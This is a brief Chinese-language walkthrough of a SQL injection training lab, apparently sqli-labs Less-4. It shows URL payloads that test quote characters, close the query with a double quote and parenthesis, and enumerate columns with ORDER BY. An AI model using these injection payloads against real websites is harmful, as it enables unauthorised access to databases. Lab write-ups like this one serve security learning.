less4

1.在url处查找注入点

?id=1'
#单引号,无果
?id=1"
#双引号,出现报错

这里的报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
结合less3来看是在提示后面缺失)闭合
输入:

?id=1")%23

回显正常

查询列数:3列

?id=1") order by 4%23
?id=1") order by 1%23
?id=1") order by 3%23

后续和less1~3一样,这里不再赘述